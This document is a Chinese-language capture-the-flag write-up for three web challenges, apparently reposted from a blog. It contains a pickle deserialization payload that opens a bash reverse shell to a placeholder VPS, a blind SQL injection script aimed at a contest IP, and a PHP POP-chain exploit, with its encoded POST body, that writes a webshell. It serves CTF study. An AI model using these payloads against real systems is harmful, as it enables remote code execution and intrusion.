[網刃杯] Web WriteUp


ez-web

進入題目在注釋里看到<!-- ?pic=1.jpg -->
加上提示flask,?pic=app.py直接讀取到app.py,然后base64解碼得到:

import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file

app = Flask(__name__)

class User():
    def __init__(self,name,age):
        self.name = name
        self.age = age

def check(s):
    if b'R' in s:
        return 0
    return 1


@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        if check(user):
            user = pickle.loads(user)
            username = user["username"]
        else:
            username = "bad,bad,hacker"
    except:
        username = "CTFer"
    pic = '{0}.jpg'.format(random.randint(1,7))
    
    try:
        pic=request.args.get('pic')
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()
    except:
        pic='{0}.jpg'.format(random.randint(1,7))
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()

    return render_template('index.html', uname=username, pic=p )


if __name__ == "__main__":
    app.run('0.0.0.0')

/flag沒有啥東西,注意到user = pickle.loads(user),想到可以利用opcode來RCE,但是過濾了R,可以用o,構造Payload:

import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/VPS/7777 0>&1"'
o.'''
print(base64.b64encode(data))

服務器上監聽7777端口,然后將得到的payload寫入cookie:user=PAYLOAD

請求頁面得到反彈Shell,然后需要ls -al /來列出包括隱藏文件在內(flag在隱藏文件中)的文件:

然后cat /.ffffffffllllllllllllaaaaag即可獲得flag:flag{a806de95e0fd1e1ba5de6ed1ef20adb2}

ez-sql

InCTF2021原題,參考https://blog.bi0s.in/2021/08/15/Web/Vuln-Drive-InCTF-Internationals-2021/ 的exp,改一下表名和字段就出來了:

import requests
url="http://116.62.239.41:4323/"
flag=''
flaga=""
for i in range(1, 100):
    for c in '1234567890abcdefghijklmnopqrstuvwxyz':
        payload=flaga+str(hex(ord(c)))[2:]
        sql = f'1,username from user where password like 0x{payload}25 union select 1'
        r = requests.get(url+ f'?sql1=%2527&sql2={sql}')
        if 'nop' in r.text:
            flaga = flaga+str(hex(ord(c)))[2:]
            flag+=c
            break
        print(flag)


包裹flag{}提交

ez-php

l3m0n師傅放在博客的原題改了改又拿出來用了:

 <?php
highlight_file(__FILE__);
class c4t
{
  protected $blacklists = array("GET", "POST", "system", "eval", "cat", "tail", "head", "tac", "more", "less", "nl", "sort", "$", "%");
  function filter($data)
  {
    foreach ($this->blacklists as $filters) {
      if (strstr($data, $filters)) {
        exit("bad,bad,hacker");
      }
    }
    if (';' === preg_replace('/[a-z]+\((?R)?\)/', "6666", $data)) {
      if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $data)) {
        exit("Go,away!");
      }
      return $data;
    }
    return $data;
  }
};

class yang
{
  protected $filters;
  protected $endl;
  function __construct($filters, $endl)
  {
    $this->filters = $filters;
    $this->endl = $endl;
  }
  function format($txt)
  {
    foreach ($this->filters as $filter) {
      $txt = $filter->filter($txt);
    }
    $txt = str_replace('\n', $this->endl, $txt);
    return $txt;
  }
};

class host
{
  protected $filename;
  protected $format;
  function __construct($filename, $format)
  {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  }
  function writeLog($txt)
  {
    $txt = $this->format->format($txt);
    //TODO: Modify the address here, and delete this TODO.
    file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
  }
};

class xin
{
  protected $logwriter;
  function __construct($writer)
  {
    $this->logwriter = $writer;
  }
  function log($txt)
  {
    $this->logwriter->writeLog($txt);
  }
};

class v0id
{
  protected $xin;
  protected $name;
  protected $group;
  protected $url;
  function __construct($name, $group, $url)
  {
    $this->name = $name;
    $this->group = $group;
    $this->url = $url;
    $fltr = new c4t("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
    $this->xin = new xin(new host("song_views", new yang(array($fltr), "\n")));
  }
  function __toString()
  {
    return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
  }
  function log()
  {
    $this->xin->log("v0id " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
  }
  function get_name()
  {
    return $this->name;
  }
}

class fz
{
  protected $fz;
  protected $v0id;
  function __construct($fz, $v0id)
  {
    $this->v0id = $v0id;
    $this->fz = $fz;
  }
  function __toString()
  {
    return "<p>" . $this->v0id->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->fz) . "</p>\n";
  }
  function __destruct()
  {
    $this->v0id->log();
  }
  function shortForm()
  {
    return "<p><a href='v0id.php?name=" . urlencode($this->v0id->get_name()) . "'>" . $this->v0id->get_name() . "</a></p>";
  }
  function name_is($name)
  {
    return $this->v0id->get_name() === $name;
  }
};

class Orz
{
  static function addLyrics($fz)
  {
    $oldlyrics = array();
    if (isset($_COOKIE['fz'])) {
      $oldlyrics = unserialize(base64_decode($_COOKIE['fz']));
    }
    foreach ($fz as $lyric) $oldlyrics[] = $lyric;
    setcookie('fz', base64_encode(serialize($oldlyrics)));
  }
  static function getLyrics()
  {
    if (isset($_COOKIE['fz'])) {
      return unserialize(base64_decode($_COOKIE['fz']));
    } else {
      setcookie('fz', base64_encode(serialize(array(1, 2))));
      return array(1, 2);
    }
  }
};

class bolean
{
  static function exportData($fz)
  {
    return base64_encode(serialize($fz));
  }
  static function importData($fz)
  {
    return serialize(base64_decode($fz));
  }
};

class ymnh
{
  protected $ymnh;
  function __construct($dbuser, $dbpass, $db)
  {
    $this->ymnh = mysqli_connect("localhost", $dbuser, $dbpass, $db);
  }

  function getLyrics($fz)
  {
    $r = array();
    foreach ($fz as $lyric) {
      $s = intval($lyric);
      $result = $this->ymnh->query("SELECT data FROM fz WHERE id=$s");
      while (($row = $result->fetch_row()) != NULL) {
        $r[] = unserialize(base64_decode($row[0]));
      }
    }
    return $r;
  }

  function addLyrics($fz)
  {
    $ids = array();
    foreach ($fz as $lyric) {
      $this->ymnh->query("INSERT INTO fz (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
      $res = $this->ymnh->query("SELECT MAX(id) FROM fz");
      $id = $res->fetch_row();
      $ids[] = intval($id[0]);
    }
    echo var_dump($ids);
    return $ids;
  }

  function __destruct()
  {
    $this->ymnh->close();
    $this->ymnh = NULL;
  }
};

@unserialize($_POST['a']); 

Pop鏈構造,還是先找找析構函數來入手,發現了兩個析構函數:

//fz類
    function __destruct()
    {
        $this->v0id->log();
    }
//ymnh類
    function __destruct()
    {
        $this->ymnh->close();
        $this->ymnh = NULL;
    }

大概看一下ymnh類的析構函數並沒有什么用,還是跟進v0id類的log方法:

class v0id
{
    protected $xin;
    protected $name;
    protected $group;

    function log()
    {
        $this->xin->log("v0id " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
    }
}

跟進xin類的log方法:

class xin
{
    protected $logwriter;

    function log($txt)
    {
        $this->logwriter->writeLog($txt);
    }
};

這里的$logwriter可控,因此可以調用到任意類的writeLog方法,跟進host類的writeLog方法:

class host
{
    protected $filename;
    protected $format;

	  function __construct($filename, $format)
    {
        $this->format = $format;
        $this->filename = $filename;
    }

    function writeLog($txt)
    {
        $txt = $this->format->format($txt);
        //TODO: Modify the address here, and delete this TODO.
        file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
    }
}

同樣的$format字段可控,可以調用到yang類的format方法:

class yang
{
    protected $filters;
    protected $endl;
    function __construct($filters, $endl)
    {
        $this->filters = $filters;
        $this->endl = $endl;
    }

    function format($txt)
    {
        foreach ($this->filters as $filter) {
            $txt = $filter->filter($txt);
        }
        $txt = str_replace('\n', $this->endl, $txt);
        return $txt;
    }
};

這里是可以給$filter傳一個空數組,這樣就可以不調用c4t類中的檢測方法。
同時c4t下面的這段過濾是無效的:

    if (';' === preg_replace('/[a-z]+\((?R)?\)/', "6666", $data)) {
      if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $data)) {
        exit("Go,away!");
      }
      return $data;
    }

因為';' === preg_replace('/[a-z]+\((?R)?\)/', "6666", $data)是恆為False的,所以不會進入進一步的判斷。

參考php 反序列化POP鏈的構造與理解改一改就可以構造出payload:

<?php
class yang {
    protected $filters;
    protected $endl;
    function __construct($filters, $endl) {
        $this->filters = $filters;
        $this->endl = $endl;
    }
}

class host {
    protected $filename;
    protected $format;
    function __construct($filename, $format) {
        $this->format = $format;
        $this->filename = $filename;
    }
}

class xin {
    protected $logwriter;
    function __construct($writer) {
        $this->logwriter = $writer;
    }
}

class v0id {
    protected $xin;
    protected $name;
    protected $group;
    function __construct($name, $group, $logger) {
        $this->name = $name;
        $this->group = $group;
        $this->xin = $logger;
    }
}

class fz {
    protected $fz;
    protected $v0id;
    function __construct($fz, $v0id) {
        $this->v0id = $v0id;
        $this->fz = $fz;
    }
}

$logfileformat = new yang(array(), "a"); 
$log_write_file = new host('../../../../var/www/html/y3.php', $logfileformat);
$logger = new xin($log_write_file);
$song = new v0id('JrXnm','<?php system("cat ./*");?>', $logger);
$lyrics = new fz('JrXnm',$song);
echo urlencode(serialize($lyrics));

POST:
a=O%3A2%3A%22fz%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00fz%22%3Bs%3A5%3A%22JrXnm%22%3Bs%3A7%3A%22%00%2A%00v0id%22%3BO%3A4%3A%22v0id%22%3A3%3A%7Bs%3A6%3A%22%00%2A%00xin%22%3BO%3A3%3A%22xin%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00logwriter%22%3BO%3A4%3A%22host%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A31%3A%22..%2F..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fy3.php%22%3Bs%3A9%3A%22%00%2A%00format%22%3BO%3A4%3A%22yang%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00endl%22%3Bs%3A1%3A%22%0A%22%3B%7D%7D%7Ds%3A7%3A%22%00%2A%00name%22%3Bs%3A5%3A%22JrXnm%22%3Bs%3A8%3A%22%00%2A%00group%22%3Bs%3A25%3A%22%3C%3Fphp+system%28%22cat+.%2F%2A%22%29%3F%3E%22%3B%7D%7D

感謝Frank師傅和CyXq師傅對本文幾處錯誤的指正,已經進行了更正~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM